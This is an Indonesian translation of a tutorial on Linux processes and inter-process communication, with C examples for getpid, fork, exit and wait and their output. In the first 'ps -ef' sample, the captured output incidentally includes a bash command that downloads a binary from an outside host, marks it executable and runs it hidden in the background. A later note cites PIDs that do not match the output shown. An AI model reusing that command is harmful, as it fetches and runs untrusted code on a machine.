Komunikasi Proses Antar - Panduan Cepat
Inter Process Communication (IPC) merupakan mekanisme yang melibatkan komunikasi dari satu proses dengan proses lainnya. Ini biasanya hanya terjadi dalam satu sistem.
Komunikasi dapat terdiri dari dua jenis -
Antara proses terkait yang dimulai hanya dari satu proses, seperti proses induk dan anak.
Antara proses yang tidak terkait, atau dua atau lebih proses yang berbeda.
Berikut adalah beberapa istilah penting yang perlu kita ketahui sebelum melanjutkan lebih jauh tentang topik ini.
Pipes- Komunikasi antara dua proses terkait. Mekanismenya setengah dupleks artinya proses pertama berkomunikasi dengan proses kedua. Untuk mencapai dupleks penuh yaitu, agar proses kedua berkomunikasi dengan proses pertama, diperlukan pipa lain.
FIFO- Komunikasi antara dua proses yang tidak terkait. FIFO adalah dupleks penuh, artinya proses pertama dapat berkomunikasi dengan proses kedua dan sebaliknya pada waktu yang sama.
Message Queues- Komunikasi antara dua atau lebih proses dengan kapasitas dupleks penuh. Proses akan berkomunikasi satu sama lain dengan memposting pesan dan mengambilnya dari antrian. Setelah diambil, pesan tersebut tidak lagi tersedia dalam antrian.
Shared Memory- Komunikasi antara dua atau lebih proses dicapai melalui bagian memori bersama di antara semua proses. Memori bersama perlu dilindungi satu sama lain dengan menyinkronkan akses ke semua proses.
Semaphores- Semaphore dimaksudkan untuk menyinkronkan akses ke banyak proses. Ketika satu proses ingin mengakses memori (untuk membaca atau menulis), itu perlu dikunci (atau diproteksi) dan dilepaskan ketika akses dilepas. Ini perlu diulangi oleh semua proses untuk mengamankan data.
Signals- Sinyal adalah mekanisme komunikasi antara beberapa proses dengan cara pensinyalan. Ini berarti proses sumber akan mengirim sinyal (dikenali oleh nomor) dan proses tujuan akan menanganinya.
Note - Hampir semua program dalam tutorial ini didasarkan pada panggilan sistem di bawah Sistem Operasi Linux (dijalankan di Ubuntu).
Sebelum kita memproses informasi, kita perlu mengetahui beberapa hal, seperti -
Apa itu proses? Proses adalah program yang sedang dieksekusi.
Apa itu program? Program adalah file yang berisi informasi dari suatu proses dan bagaimana membangunnya selama waktu berjalan. Saat Anda memulai eksekusi program, program tersebut dimuat ke dalam RAM dan mulai dijalankan.
Setiap proses diidentifikasi dengan bilangan bulat positif unik yang disebut sebagai ID proses atau PID (Nomor Identifikasi Proses). Kernel biasanya membatasi ID proses ke 32767, yang dapat dikonfigurasi. Ketika ID proses mencapai batas ini, itu diatur ulang lagi, yang setelah rentang proses sistem. ID proses yang tidak digunakan dari penghitung itu kemudian ditugaskan ke proses yang baru dibuat.
Panggilan sistem getpid () mengembalikan ID proses dari proses panggilan.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
Panggilan ini mengembalikan ID proses dari proses panggilan yang dijamin unik. Panggilan ini selalu berhasil dan dengan demikian tidak ada nilai kembali untuk menunjukkan kesalahan.
Setiap proses memiliki ID unik yang disebut ID proses yang baik-baik saja tetapi siapa yang membuatnya? Bagaimana cara mendapatkan informasi tentang penciptanya? Proses pencipta disebut proses induk. ID Induk atau PPID dapat diperoleh melalui panggilan getppid ().
Panggilan sistem getppid () mengembalikan PID Induk dari proses panggilan.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Panggilan ini mengembalikan ID proses induk dari proses panggilan. Panggilan ini selalu berhasil dan dengan demikian tidak ada nilai kembali untuk menunjukkan kesalahan.
Mari kita pahami ini dengan contoh sederhana.
Berikut adalah program untuk mengetahui PID dan PPID dari proses pemanggilan.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
Pada kompilasi dan eksekusi program di atas, berikut akan menjadi keluarannya.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize > size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- Sistem fungsi perpustakaan "C" () menjalankan perintah shell. Argumen yang diteruskan ke system () adalah perintah yang dijalankan pada shell. Dalam program di atas, perintahnya adalah "ps", yang memberikan status proses.
Informasi lengkap tentang semua proses yang berjalan dan informasi terkait sistem lainnya dapat diakses dari sistem file proc yang tersedia di / lokasi proc.
Sekarang kita telah melihat bagaimana mendapatkan informasi dasar dari proses dan proses induknya, sekarang saatnya untuk melihat detail informasi proses / program.
Apa sebenarnya gambar proses itu? Gambar proses adalah file yang dapat dieksekusi yang diperlukan saat menjalankan program. Gambar ini biasanya berisi bagian berikut -
- Segmen kode atau segmen teks
- Segmen data
- Segmen tumpukan
- Segmen Heap
Berikut adalah representasi gambar dari proses gambar.
Code segmentadalah bagian dari file objek atau ruang alamat virtual program yang terdiri dari instruksi yang dapat dieksekusi. Ini biasanya merupakan segmen data hanya-baca dan memiliki ukuran tetap.
Segmen data terdiri dari dua jenis.
- Initialized
- Un-initialized
Initialized data segment adalah bagian dari ruang alamat virtual file objek atau program yang terdiri dari variabel statis dan global yang diinisialisasi.
Un-initialized data segmentadalah bagian dari ruang alamat virtual file objek atau program yang terdiri dari variabel statis dan global yang tidak diinisialisasi. Segmen data yang tidak diinisialisasi juga disebut segmen BSS (Block Started by Symbol).
Data segmentadalah baca-tulis, karena nilai variabel dapat diubah selama waktu proses. Segmen ini juga memiliki ukuran tetap.
Stack segmentadalah area memori yang dialokasikan untuk variabel otomatis dan parameter fungsi. Ini juga menyimpan alamat pengirim saat menjalankan panggilan fungsi. Stack menggunakan mekanisme LIFO (Last-In-First-Out) untuk menyimpan variabel lokal atau otomatis, parameter fungsi dan menyimpan alamat berikutnya atau alamat pengirim. Alamat pengirim mengacu pada alamat yang akan dikembalikan setelah penyelesaian eksekusi fungsi. Ukuran segmen ini bervariasi sesuai dengan variabel lokal, parameter fungsi, dan pemanggilan fungsi. Segmen ini berkembang dari alamat yang lebih tinggi ke alamat yang lebih rendah.
Heap segmentadalah area memori yang dialokasikan untuk penyimpanan memori dinamis seperti untuk panggilan malloc () dan calloc (). Ukuran segmen ini juga bervariasi sesuai alokasi pengguna. Segmen ini berkembang dari alamat yang lebih rendah ke alamat yang lebih tinggi.
Sekarang mari kita periksa bagaimana ukuran segmen (segmen data dan bss) bervariasi dengan beberapa program sampel. Ukuran segmen diketahui dengan menjalankan perintah “size”.
Program awal
File: segment_size1.c
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
Dalam program berikut, variabel statis yang tidak diinisialisasi ditambahkan. Ini berarti ukuran segmen yang tidak diinisialisasi (BSS) akan meningkat sebesar 4 Bytes.Note- Pada sistem operasi Linux, ukuran int adalah 4 byte. Ukuran tipe data integer tergantung pada kompiler dan dukungan sistem operasi.
File: segment_size2.c
#include<stdio.h>
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
Dalam program berikut, variabel statis yang diinisialisasi ditambahkan. Ini berarti ukuran segmen yang diinisialisasi (DATA) akan meningkat sebesar 4 Bytes.
File: segment_size3.c
#include<stdio.h>
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Dalam program berikut, variabel global yang diinisialisasi ditambahkan. Ini berarti ukuran segmen yang diinisialisasi (DATA) akan meningkat sebesar 4 Bytes.
File: segment_size4.c
#include<stdio.h>
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Dalam program berikut, variabel global yang tidak diinisialisasi ditambahkan. Ini berarti ukuran segmen yang tidak diinisialisasi (BSS) akan meningkat sebesar 4 Bytes.
File: segment_size5.c
#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Langkah Eksekusi
Kompilasi
babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
Eksekusi / Output
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
text data bss dec hex filename
878 252 8 1138 472 segment_size1
878 252 12 1142 476 segment_size2
878 256 12 1146 47a segment_size3
878 260 12 1150 47e segment_size4
878 260 16 1154 482 segment_size5
babukrishnam
Sampai sekarang kita tahu bahwa setiap kali kita menjalankan program maka sebuah proses dibuat dan akan dihentikan setelah selesainya eksekusi. Bagaimana jika kita perlu membuat proses dalam program dan mungkin ingin menjadwalkan tugas yang berbeda untuk itu. Bisakah ini dicapai? Ya, jelas melalui proses pembuatan. Tentu saja, setelah pekerjaan selesai, itu akan dihentikan secara otomatis atau Anda dapat menghentikannya sesuai kebutuhan.
Pembuatan proses dicapai melalui fork() system call. Proses yang baru dibuat disebut proses anak dan proses yang memulainya (atau proses saat eksekusi dimulai) disebut proses induk. Setelah pemanggilan sistem fork (), sekarang kita memiliki dua proses - proses induk dan anak. Bagaimana cara membedakannya? Sangat sederhana, itu melalui nilai kembali mereka.
Setelah membuat proses anak, mari kita lihat detail panggilan sistem fork ().
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
Menciptakan proses anak. Setelah panggilan ini, ada dua proses, yang sudah ada disebut proses induk dan yang baru dibuat disebut proses anak.
Panggilan sistem fork () mengembalikan salah satu dari tiga nilai -
Nilai negatif untuk menunjukkan kesalahan, yaitu tidak berhasil menciptakan proses anak.
Mengembalikan nol untuk proses anak.
Mengembalikan nilai positif untuk proses induk. Nilai ini adalah ID proses dari proses anak yang baru dibuat.
Mari kita pertimbangkan program sederhana.
File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
printf("Called fork() system call\n");
return 0;
}
Langkah Eksekusi
Kompilasi
gcc basicfork.c -o basicfork
Eksekusi / Output
Called fork() system call
Called fork() system call
Note- Biasanya setelah panggilan fork (), proses anak dan proses induk akan melakukan tugas yang berbeda. Jika tugas yang sama perlu dijalankan, maka untuk setiap panggilan fork () akan menjalankan 2 daya n kali, di manan adalah berapa kali fork () dipanggil.
Dalam kasus di atas, fork () dipanggil sekali, oleh karena itu outputnya dicetak dua kali (2 daya 1). Jika fork () dipanggil, katakan 3 kali, maka output akan dicetak 8 kali (2 daya 3). Jika dipanggil 5 kali, maka dicetak 32 kali dan seterusnya dan seterusnya.
Setelah melihat fork () membuat proses anak, sekarang saatnya untuk melihat detail proses induk dan anak.
Nama file: pids_after_fork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t pid, mypid, myppid;
pid = getpid();
printf("Before fork: Process id is %d\n", pid);
pid = fork();
if (pid < 0) {
perror("fork() failure\n");
return 1;
}
// Child process
if (pid == 0) {
printf("This is child process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
} else { // Parent process
sleep(2);
printf("This is parent process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
printf("Newly created process id or child pid is %d\n", pid);
}
return 0;
}
Langkah Kompilasi dan Eksekusi
Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630
Suatu proses dapat berakhir dengan salah satu dari dua cara -
Secara tidak normal, terjadi pada pengiriman sinyal tertentu, katakanlah sinyal putus.
Biasanya, menggunakan fungsi pustaka _exit () system call (atau _Exit () system call) atau exit ().
Perbedaan antara _exit () dan exit () terutama pada aktivitas pembersihan. Ituexit() melakukan pembersihan sebelum mengembalikan kontrol ke kernel, sedangkan file _exit() (atau _Exit ()) akan mengembalikan kontrol ke kernel segera.
Pertimbangkan program contoh berikut dengan exit ().
Nama file: atexit_sample.c
#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
exit (0);
}
Langkah Kompilasi dan Eksekusi
Hello, World!
Called cleanup function - exitfunc()
Pertimbangkan program contoh berikut dengan _exit ().
Nama file: at_exit_sample.c
#include <stdio.h>
#include <unistd.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
_exit (0);
}
Langkah Kompilasi dan Eksekusi
Hello, World!
Seperti yang telah kita lihat, setiap kali kita membuat proses anak dari program menggunakan fork, hal berikut terjadi -
- Proses saat ini sekarang menjadi proses induk
- Proses baru menjadi proses anak
Apa yang terjadi jika proses induk menyelesaikan tugasnya lebih awal daripada proses turunan dan kemudian berhenti atau keluar? Sekarang siapa yang akan menjadi orang tua dari proses anak? Induk dari proses anak adalah proses init, yang merupakan proses pertama yang memulai semua tugas.
Untuk memantau status eksekusi proses anak, untuk memeriksa apakah proses anak sedang berjalan atau dihentikan atau untuk memeriksa status eksekusi, dll. Sistem panggilan wait () dan variannya digunakan.
Mari kita pertimbangkan program contoh, di mana proses induk tidak menunggu proses anak, yang menghasilkan proses init menjadi induk baru untuk proses anak.
Nama file: parentprocess_nowait.c
#include<stdio.h>
int main() {
int pid;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
} else {
sleep(3);
}
return 0;
}
Langkah Kompilasi dan Eksekusi
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 163891 0 0 05:41 ? 00:00:00 main
8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main
8023807 164137 164136 0 05:41 ? 00:00:00 main
8023807 164138 164137 0 05:41 ? 00:00:00 main
8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 164138 0 0 05:41 ? 00:00:00 main
8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
Note - Amati bahwa PID proses induk adalah 94 dan PID proses anak adalah 95. Setelah proses induk keluar, PPID proses anak berubah dari 94 menjadi 1 (proses init).
Berikut adalah varian dari system call untuk memantau proses anak -
- wait()
- waitpid()
- waitid()
Itu wait() system call akan menunggu salah satu turunan untuk mengakhiri dan mengembalikan status terminasi dalam buffer seperti yang dijelaskan di bawah ini.
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
Panggilan ini mengembalikan ID proses dari anak yang dihentikan saat berhasil dan -1 saat gagal. Pemanggilan sistem wait () menangguhkan eksekusi proses saat ini dan menunggu tanpa batas hingga salah satu turunannya berakhir. Status penghentian dari anak tersedia dalam status.
Mari kita ubah program sebelumnya, sehingga proses induk sekarang menunggu proses anak.
/ * Nama file: parentprocess_waits.c * /
#include<stdio.h>
int main() {
int pid;
int status;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
return 3; //exit status is 3 from child process
} else {
sleep(3);
wait(&status);
printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
}
return 0;
}
Langkah Kompilasi dan Eksekusi
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
